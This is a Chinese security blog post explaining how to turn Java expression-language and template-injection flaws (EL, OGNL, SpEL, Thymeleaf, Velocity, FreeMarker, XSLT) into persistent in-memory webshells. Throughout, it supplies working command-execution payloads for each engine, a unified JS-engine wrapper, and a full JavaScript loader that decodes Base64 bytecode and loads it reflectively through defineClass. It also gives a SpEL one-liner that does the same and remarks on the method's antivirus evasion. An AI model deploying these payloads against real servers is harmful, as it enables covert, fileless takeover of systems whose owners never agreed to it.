解析语言内存马注入(一)

解析语言内存马注入(一)

前言

在一直以来的漏洞挖掘和攻防过程中,我们会发现经常会出现表达式语言注入漏洞,而为了稳定获取权限就不可避免的需要注入内存马

解析语言概述

本文会测试使用的表达式语言基本都是常见的java表达式语言或常见模板,一共6种,如下所示:

1
2
3
4
5
6
EL
OGNL
SPEL
Thymeleaf
Velocity
FreeMarker

解析语言介绍

EL表达式

EL表达式全名Expression Language,主要用于替换JSP页面中的脚本表达式,主要作用有获取数据、执行运算、获取web开发对象、调用Java方法

常见的命令执行的payload有:

1
''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')

OGNL表达式

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,一个开源项目。Struts框架使用OGNL作为默认的表达式语言

常见的命令执行的payload有:

1
(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("calc")')

SPEL表达式

Spring表达式语言(SpEL)是Spring框架的一部分,自Spring 3.0版本开始引入。SpEL的设计目标是提供一种通用的表达式语言,用于在Spring框架中进行各种配置和运行时处理。它被广泛用于Spring框架内的注解、XML配置、Spring Security等模块,为开发者提供了强大而灵活的表达式解析和求值能力

常见的命令执行的payload有:

1
#{T(java.lang.Runtime).getRuntime().exec('calc')}

Thymeleaf模板

Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎

常见的命令执行的payload有:

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

Velocity模板

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象

常见的命令执行的payload有:

1
#set($x='') $x.class.forName('java.lang.Runtime').getRuntime().exec('calc')

FreeMarker模板

FreeMarker是一个基于Java的模板引擎,一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具

常见的命令执行的payload有:

1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}

内存马注入

探寻通用的内存马注入方式

如此之多的表达式注入、模板注入,每一个的语法,结构都大相径庭,因此,在正是注入内存马之前,我需要一个可以统合各种语法的注入方式,在一番思索后,有两个很好的选择:JsEngineSpel,通过调用解析引擎可以做到部分内容具有可移植性,已经是最好最方便的结果了

JsEngine调用

就像2023年KCon中《Java表达式攻防下的黑魔法》一文中写到,Java有很多种表达式,不同表达式有不同的语法特点:有些必须要 用链式反射去调用方法,有些可以直接new;有些表达式只能执行一 句,有些可以执行多句

想要做到武器化利用就要选取一种通用的中间层语言,去延展我们的 利用链

其中JS引擎就非常符合我们的要求:

  1. 一行代码即可调用JS引擎,在JS引擎中可以执行多句
  2. JDK6-14都可以使用,基本满足对兼容性的需要
  3. 可以间接调用Java方法,实现任意代码执行

因此,通过JS引擎可以扩展表达式的执行能力,甚至可以统一多种表达式的格式问题

EL表达式

1
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName('js').eval('/*js代码内容*/')

OGNL表达式

1
(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('/*js代码内容*/')

SPEL表达式

1
#{new javax.script.ScriptEngineManager().getEngineByName('js').eval('/*js代码内容*/')

Thymeleaf模板

1
__$%7bnew%20java.util.Scanner(T(javax.script.ScriptEngineManager).getEngineByName('js').eval('/*js代码内容*/')).next()%7d__::.x

Velocity模板

1
#set($x='') $x.class.forName('javax.script.ScriptEngineManager').getEngineByName('js').eval('/*js代码内容*/')

FreeMarker模板

1
${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("/*js代码内容*/")}

XSLT注入

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheetversion="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:templatematch="/">
<xsl:variablename="rtobject" select="rt:getRuntime()"/>
<xsl:variablename="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variablename="processString" select="ob:toString($process)"/>
<xsl:value-ofselect="$processString"/>
</xsl:template>
</xsl:stylesheet>

JsEngine注入内存马

为了能够更加自由的实现加载字节码,于是这里需要引入defineclass,其通用性强和无需落地文件的特性使得许多人都推崇备至,虽然后续高版本Java会有些限制,但是无伤大雅,在这里不进行过多讨论,而且在某些层面,其实具备一些免杀效果,通过对上下文classloader获取的defineclass加载的filter为白名单

先通过深搜获取线程的classloader,再利用js松散的语言特性,我们仅仅需要正射+异常捕获就可以完成目的,再利用classLoader获取到defineclass方法,利用definecalss加载字节码(下面是基础的注入,并未使用高版本绕过)

1
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('/*注入器名称*/').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeBase64 = '/*内存马注入字节码*/';var bytecode;try{var clsBase64 = classLoader.loadClass('java.util.Base64');var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}

接下来就把这里的内容放到上面的内容里就行,注意双引号和引号的转义,注意注入器名称即可

Spel调用

Spel是Spring框架的一部分,所以在某些时候会同样适合去作为统一的字节码加载模板

同样通过调用defineclass去加载字节码,不过是通过ReflectUtils反射调用defineclass去加载字节码,spel的代码会短一些

1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('/*注入器名称*/',T(org.springframework.util.Base64Utils).decodeFromString('/*字节码base64内容*/'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}

接下来就把这里的内容放到上面的内容里就行,注意双引号和引号的转义,注意注入器名称即可


解析语言内存马注入(一)
https://pho3n1x-web.github.io/2024/03/01/表达式语言内存马注入(一)/
Author
Pho3n1x
Posted on
March 1, 2024
Licensed under